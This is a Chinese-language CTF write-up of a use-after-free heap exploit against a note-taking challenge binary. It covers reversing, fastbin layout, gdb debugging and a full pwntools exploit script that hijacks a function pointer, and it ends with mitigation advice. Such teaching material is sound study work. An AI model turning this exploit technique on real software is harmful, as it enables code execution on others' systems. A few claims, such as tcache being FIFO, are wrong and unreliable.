从CTF赛题SecureNote剖析UAF漏洞原理与堆利用实战 1. 从一道DEFCON决赛题说起当“安全笔记”不再安全如果你玩过CTF尤其是Pwn方向那你肯定对“堆利用”这个词不陌生。它不像栈溢出那样有直观的返回地址可以覆盖堆的世界更像一个由指针、链表和复杂内存管理算法构成的迷宫充满了不确定性但也因此成为高手过招的舞台。今天要聊的这道题来自DEFCON 29 CTF总决赛名叫“SecureNote”。光看名字一个“安全笔记”程序听起来人畜无害对吧但就是这样一个程序却精准地踩中了现代软件安全中一个经典且危险的漏洞——Use-After-FreeUAF释放后重用。这道题不仅考察了对UAF原理的理解更是一道检验选手如何将理论漏洞转化为实际攻击路径的绝佳范例。我花了差不多一个通宵来逆向和调试这道题整个过程就像在解一个精巧的机关锁。你需要先理解程序如何管理它的“笔记”找到那个释放内存后却忘了“擦除指针”的疏忽之处然后精心布局让已经被释放的内存块为你所用最终劫持程序的控制流。这不仅仅是写个Exploit脚本那么简单它要求你对glibc的堆分配器ptmalloc2有清晰的认知知道fastbin、unsorted bin这些结构是如何工作的知道什么时候该申请多大的内存才能“恰好”拿到你想要的那块。最终当看到cat flag成功执行的那一刻那种感觉就像是终于用自制的钥匙打开了锁成就感拉满。这篇文章我就带你完整复盘这道“SecureNote”的解题过程。我会从程序的功能逻辑逆向开始一步步分析漏洞成因然后详细拆解如何利用UAF漏洞进行堆布局最后给出完整的利用脚本和调试技巧。无论你是刚接触堆利用的新手还是想深入理解UAF的老手相信都能从中有所收获。我们不止要“知其然”写出利用脚本更要“知其所以然”明白每一步操作背后的堆管理逻辑。准备好了吗我们开始。2. 逆向工程拆解“SecureNote”的运行逻辑拿到一个Pwn题第一步永远是静态分析搞清楚这个程序是干什么的以及它是怎么干的。用file命令看一下是32位的ELF文件没有开PIE地址空间布局随机化这意味着代码和数据的地址是固定的这对我们后续计算地址是个好消息。用checksec再检查一下保护机制通常NX不可执行栈是开着的Canary栈保护和RELRO重定位只读可能也有这些信息决定了我们最终的利用手法。用IDA Pro打开它直奔main函数。程序结构很清晰一个典型的菜单驱动型程序void main() { int choice; init(); while(1) { print_menu(); scanf(%d, choice); switch(choice) { case 1: add_note(); break; case 2: delete_note(); break; case 3: print_note(); break; case 4: exit(0); break; default: puts(Invalid choice); } } }菜单提供了“添加笔记”、“删除笔记”、“打印笔记”和“退出”四个功能。核心的数据结构是“笔记”Note它通常用一个结构体来定义。通过逆向add_note函数我们可以推断出这个结构体大致长这样struct Note { void (*print_func)(struct Note *); // 指向打印函数的指针 char *content; // 指向笔记实际内容的指针 };这个设计很有意思。笔记对象本身很小只包含两个指针一个函数指针和一个内容指针。真正的笔记内容存储在另一块独立申请的内存里。这种“控制块数据块”的分离设计在现实中很常见但也为UAF埋下了伏笔。2.1 关键函数逆向漏洞藏于细节让我们深入三个核心函数看看漏洞到底出在哪里。add_note函数首先检查全局的笔记数量是否超过上限比如5个。然后寻找一个空闲的notelist槽位。notelist是一个全局指针数组用于管理所有笔记的指针。找到空位后程序会连续申请两块内存第一块malloc(8)用于存放Note结构体本身两个4字节指针共8字节。申请成功后会将print_func默认设置为一个名为print_note_content的内部函数。第二块malloc(size)大小由用户输入决定用于存储笔记的实际内容。这个size被记录在Note结构体的content指针里。delete_note函数这是漏洞的关键所在。函数根据用户提供的索引释放对应的笔记。注意它的操作顺序if (notelist[idx]) { free(notelist[idx]-content); // 先释放内容块 free(notelist[idx]); // 再释放Note结构体本身 puts(Success); }问题来了在两次free之后notelist[idx]这个指针没有被置为NULL。它变成了一个“悬空指针”Dangling Pointer仍然指向那块已经被释放、可能即将被重新分配的内存区域。这就是UAF漏洞的典型特征指针的生命周期长于它指向的内存块。print_note函数它通过索引找到notelist中的指针然后直接调用note-print_func(note)。如果这个指针是悬空的而它指向的内存已经被我们重新控制并篡改那么调用的就不再是原来的print_note_content而是我们指定的任意函数了。看到这里利用思路已经隐约浮现我们需要先释放几个笔记然后通过精心控制内存分配让一个新申请的结构体或内容块恰好落在某个已被释放的旧笔记的内存空间上。接着我们通过写入新内容覆盖掉旧的函数指针。最后通过调用print_note触发这个被篡改的函数指针实现控制流劫持。注意在逆向时我习惯用IDA的Hex-Rays插件生成伪代码但绝不能完全依赖它。一定要结合反汇编的汇编代码尤其是内存操作和条件判断的细节伪代码有时会优化掉一些关键指令。对于堆题目要特别关注malloc和free的参数来源以及指针的传递过程。3. 漏洞原理深度剖析Use-After-Free的“罪与罚”UAF漏洞的原理用一句话说就是程序释放了一块内存却没有清空指向它的指针后续又通过这个“野指针”使用了已释放的内存。这会导致不可预知的行为轻则程序崩溃重则被攻击者利用来执行任意代码。在“SecureNote”这道题里UAF的发生过程非常典型释放Free用户删除笔记程序free了Note结构体和其content指向的内存。指针残留Dangling Pointer全局数组notelist中对应的条目没有被置NULL。重用Use当用户再次请求“打印”该索引的笔记时程序依然通过notelist[index]找到那个悬空指针并调用note-print_func。此时如果那块被释放的内存还没有被重新分配和覆盖程序可能暂时正常对应UAF的第二种情况。但如果在此期间我们通过其他操作比如添加新笔记重新申请了这块内存并写入了我们控制的数据那么print_func就可能被覆盖成我们想要的地址比如system或magic函数的地址。3.1 堆管理器的“游戏规则”ptmalloc2要成功利用UAF我们必须预测和操控堆内存的分配。这就必须了解Linux下glibc默认的堆分配器——ptmalloc2。它管理着一系列称为“bin”的链表用来缓存释放的内存块以便快速分配。对于小内存块一般是小于64字节在32位系统下ptmalloc2使用“fastbin”来管理。Fastbin是一个单链表遵循后进先出LIFO的原则。当你释放一块属于fastbin大小的内存时它会被插入到对应fastbin链表的头部。当你申请一块同样大小的内存时分配器会从链表的头部取出一块给你。这个“后进先出”的特性是本题利用的关键。我们可以通过控制释放和申请的顺序来让某次malloc恰好返回我们之前释放的、并且希望被覆盖的那块内存。此外ptmalloc2为了效率从fastbin分配内存时不会清除旧数据。它只是把这块内存从链表上摘下来给你。这意味着如果这块内存之前被释放过里面可能还残留着旧的数据比如旧的函数指针。如果我们能重新申请到它并写入新数据就能覆盖这些残留值。3.2 漏洞利用的核心挑战与思路利用这个UAF漏洞我们主要面临两个挑战如何让新申请的内存落在被释放的Note结构体上我们需要精确控制堆的布局。覆盖什么怎么覆盖我们的目标是覆盖Note-print_func。但Note结构体是我们通过malloc(8)申请的而它的content指针指向另一块内存。我们能否通过写content来覆盖另一个Note的print_func呢答案是肯定的这利用了堆块“重叠”的技术。我们的计划如下申请两个笔记Note0, Note1它们的结构体大小都是8字节fastbin范围但内容块大小设为32字节这样它们和结构体不在同一个fastbin链表避免干扰。按顺序释放Note0和Note1。此时大小为8字节的fastbin链表是HEAD - Chunk_N1 - Chunk_N0 - NULL。现在我们申请一个新的笔记Note2并且指定它的内容块大小为8字节注意不是结构体大小结构体固定malloc(8)。堆分配器会这样工作首先为Note2的结构体分配内存。它查看8字节的fastbin发现链表头是Chunk_N1即原来Note1的结构体于是将其分配出去。此时notelist[2]指向了原来Note1的内存空间。接着为Note2的内容块分配内存。它同样查看8字节的fastbin此时链表头变成了Chunk_N0原来Note0的结构体于是将其分配出去。此时Note2-content指针指向了原来Note0的结构体空间现在当我们向Note2-content写入数据时实际上是在向原来Note0的结构体所在的内存写数据。我们可以写入一个目标函数的地址比如magic或system覆盖掉原来位于那个位置的print_func指针。最后调用print_note(0)。程序会通过悬空指针notelist[0]找到原来的地址现在已被Note2的内容块占用并执行被我们覆盖后的函数指针从而触发我们想要的函数。这个利用链的精妙之处在于它通过控制不同大小内存块的分配顺序实现了“用一块内存的内容区去覆盖另一块内存的控制结构”。这要求对堆管理器的行为有非常精准的把握。4. 动态调试与堆风水布局实战理论分析得再透彻也需要调试器来验证。我使用gdb配合pwndbg或gef插件来动态跟踪堆的状态。这里以gef为例因为它内置的heap bins、heap chunks命令非常直观。首先在关键函数malloc,free和关键逻辑处下断点b *add_note b *delete_note b *malloc b *free运行程序开始我们的攻击步骤。第一步申请Note0和Note1add_note(32, bA*32) # Note0 add_note(32, bB*32) # Note1在malloc处中断记录下返回的地址。假设Note0结构体地址0x804b008Note0内容块地址0x804b018Note1结构体地址0x804b040Note1内容块地址0x804b050可以用heap chunks命令查看所有堆块用x/10wx 0x804b008查看内存内容确认print_func被正确初始化为print_note_content的地址。第二步按顺序释放Note0和Note1delete_note(0) delete_note(1)在free处中断观察参数。释放后立即使用heap bins命令查看fastbin状态。Fastbins[idx0, size0x8] ← Chunk(addr0x804b040, size0x10) ← Chunk(addr0x804b008, size0x10) Fastbins[idx3, size0x14] ← Chunk(addr0x804b050, size0x28) ← Chunk(addr0x804b018, size0x28)可以看到大小为0x108字节数据8字节元数据的fastbin链表里现在是Note1结构体 - Note0结构体。大小为0x2832字节数据8字节元数据的链表里是Note1内容块 - Note0内容块。后释放的Note1结构体在了链表头部这很重要。第三步申请Note2内容大小为8add_note(8, p32(magic_addr)) # Note2这是最精彩的一步。在第一个malloc(8)为Note2结构体分配处中断观察返回值。你会发现它返回了0x804b040这正是之前释放的Note1结构体的地址notelist[2]现在指向这里。接着在第二个malloc(8)为Note2内容块分配处中断。你会发现它返回了0x804b008这是之前释放的Note0结构体的地址这个地址被赋值给了Note2-content。现在程序会提示我们输入Note2的内容。我们输入magic函数的地址比如\x86\x89\x04\x08小端序。这个写入操作发生在0x804b008这个地址也就是原Note0结构体的起始处。第四步验证覆盖效果在写入后用gdb查看0x804b008处的内存x/2wx 0x804b008原本这里应该是print_note_content的函数地址和指向0x804b018的content指针。现在第一个4字节应该被我们覆盖成了magic函数的地址。第二个4字节可能被我们输入的部分内容覆盖变成一个不可读的地址但这不重要。第五步触发漏洞调用print_note(0)。程序会读取notelist[0]它仍然指向0x804b008。然后它调用[0x804b008]这个地址的函数此时这里已经是magic的地址了。于是magic函数被执行我们拿到了flag。调试心得在堆利用调试中heap bins命令是你的眼睛。每次free和malloc后都要检查一下fastbin、unsorted bin的状态确认内存块的链接顺序是否符合预期。如果顺序不对你的利用链就会断裂。另外注意内存对齐和chunk的元数据size位这些细节常常是计算偏移和判断大小的关键。5. 完整利用脚本编写与问题排查基于以上分析我们可以写出完整的利用脚本。这里使用pwntools库它极大地简化了与进程的交互。#!/usr/bin/env python3 from pwn import * context(archi386, oslinux, log_leveldebug) # 启动本地进程或连接远程 p process(./securenote) # p remote(靶机IP, 端口) def add_note(size, content): p.recvuntil(bYour choice:) p.sendline(b1) p.recvuntil(bSize:) p.sendline(str(size).encode()) p.recvuntil(bContent:) p.send(content) def delete_note(idx): p.recvuntil(bYour choice:) p.sendline(b2) p.recvuntil(bIndex:) p.sendline(str(idx).encode()) def print_note(idx): p.recvuntil(bYour choice:) p.sendline(b3) p.recvuntil(bIndex:) p.sendline(str(idx).encode()) # 第一步泄露或计算目标地址 # 假设程序里有一个叫magic的函数或者我们有办法泄露libc地址后计算system地址 # 这里假设magic函数地址已知或者通过其他漏洞泄露出来 magic_addr 0x08048986 # 例如通过objdump或IDA找到的magic函数地址 # 如果目标是获取shell则需要泄露libc地址计算system地址 # libc_system_offset 0x... # 根据libc版本确定 # system_addr leaked_libc_base libc_system_offset # 第二步堆风水布局 log.info(Step 1: Allocating Note0 and Note1) add_note(32, bA*32) # Note0, idx 0 add_note(32, bB*32) # Note1, idx 1 log.info(Step 2: Freeing Note0 then Note1 (order matters!)) delete_note(0) delete_note(1) # 现在fastbin: N1_struct - N0_struct log.info(Step 3: Allocating Note2 with content size 8) # 这个8字节的malloc会拿到原N1的结构体作为Note2的结构体 # 接着另一个8字节的malloc会拿到原N0的结构体作为Note2的content add_note(8, p32(magic_addr)) # Note2, idx 2. 写入magic地址到原N0的print_func位置 log.info(Step 4: Triggering UAF by printing the freed Note0) print_note(0) # 程序通过悬空指针访问原N0此时print_func已被覆盖为magic # 交互获取flag或shell p.interactive()5.1 常见问题与排查技巧即使思路正确利用脚本也可能因为各种细节问题而失败。下面是一些常见的坑和排查方法堆状态不一致脚本跑不通首先用gdb附加进程在每一步之后都用heap bins检查fastbin链表是否和预期一致。确保释放和申请的顺序完全正确。有时候因为程序的其他初始化操作堆的起始状态可能和你预想的不一样。大小计算错误malloc(8)实际分配的内存块大小是16字节32位下因为包含了8字节的用户数据区和8字节的块头prev_size和size。在计算fastbin索引时ptmalloc2是根据整个chunk的大小来决定的。size16的chunk属于fastbin。务必用heap chunks命令确认chunk的size字段。地址错误magic函数或system的地址不对。确保你使用的是正确的函数地址并且考虑ASLR如果开了PIE。本题没有PIE所以函数地址固定。如果有PIE需要先泄露一个代码段地址然后计算偏移。输入处理问题程序在读取size和content时可能使用read、fgets或scanf。注意它们对换行符\n的处理。pwntools的send和sendline要区分使用。如果content输入后程序表现异常可能是输入截断或缓冲区溢出问题检查一下read的长度参数。one_gadget与参数如果最终目标是调用system(/bin/sh)你需要控制参数。在UAF中通常我们只能控制函数指针很难同时控制参数。这时可以寻找one_gadget——即libc中一些调用execve(/bin/sh, NULL, NULL)的代码片段。用one_gadget工具查找但要注意其约束条件如某个寄存器必须为NULL栈上特定位置必须为NULL等可能需要通过ROP或额外的内存布局来满足条件。tcache的干扰如果你的环境是glibc 2.26及以上默认启用tcache线程本地缓存。tcache比fastbin优先级更高且行为略有不同比如是先进先出FIFO。这可能会彻底打乱我们的利用链。解决方法有两种一是使用旧版glibc环境如Ubuntu 16.04二是调整利用链考虑tcache的分配策略比如填满tcache bin迫使分配走fastbin。一个实用的调试技巧在脚本中关键步骤前插入raw_input(pause)然后另开一个终端用gdb附加进程。这样你可以在每一步手动检查内存状态比盲目运行脚本有效得多。6. 从这道题延伸UAF漏洞的现代利用与缓解通过“SecureNote”这道题我们完成了一次经典的fastbin UAF利用。但在实际场景和更高版本的glibc中利用会变得更加复杂。UAF的更多利用场景虚函数表vtable覆盖在C对象中如果对象被释放后重用攻击者可以覆盖其虚函数表指针从而控制所有虚函数的调用。结构体类型混淆如果程序根据某个类型字段来解析内存UAF后写入不同类型的数据可能导致程序以错误的类型解释同一块内存造成信息泄露或逻辑错误。与信息泄露结合单纯的UAF可能难以获取地址信息。可以结合堆风水制造一个“部分重叠”的块通过打印正常内容来泄露堆地址或libc地址再用泄露的地址进行更精准的攻击。现代缓解机制与绕过tcacheglibc 2.26引入它给每个线程一个缓存分配和释放小内存块更快。tcache的引入使得传统的fastbin攻击有时需要先填满对应的tcache bin。但tcache本身也带来了新的攻击面如tcache poisoning毒化。FD/BK指针加密glibc 2.32开始对fastbin和tcache中的单链表指针fd进行了异或加密增加了预测和篡改的难度。需要先泄露堆地址才能解密/加密指针。安全审计工具如AddressSanitizer (ASAN) 可以非常有效地检测UAF漏洞在开发测试阶段就将其捕获。但在CTF和某些真实环境中程序可能未编译这些保护。给开发者的建议及时置空指针释放内存后立即将指向它的指针设置为NULL。这是最简单有效的防御。使用智能指针在C中使用std::unique_ptr或std::shared_ptr它们会在对象生命周期结束时自动管理内存。谨慎管理对象生命周期明确内存所有权避免复杂的生命周期交叉。代码审计与工具使用静态分析工具和动态检查工具如ASAN、Valgrind来发现潜在的UAF问题。给安全研究人员的建议理解底层原理不要只记忆利用模板。深入理解ptmalloc2、tcache、jemalloc等分配器的源码和逻辑才能在保护机制升级后依然找到出路。动态调试是关键堆利用非常依赖运行时状态。熟练掌握gdb及其插件gef、pwndbg学会观察和分析堆布局。从CTF到现实CTF题目是理想化的模型。真实世界的UAF可能发生在浏览器引擎、内核驱动、虚拟机等复杂环境中需要结合具体上下文分析对象结构和生命周期。回过头看“SecureNote”它像是一个精致的教学模型剥离了现实中的很多干扰项让我们能专注于UAF和堆风水的核心原理。通过这道题我们不仅学会了一种攻击技巧更重要的是建立起一种分析内存管理漏洞的思维方式追踪数据生命周期、理解分配器行为、操控内存布局。这种思维方式才是应对未来更复杂漏洞的武器。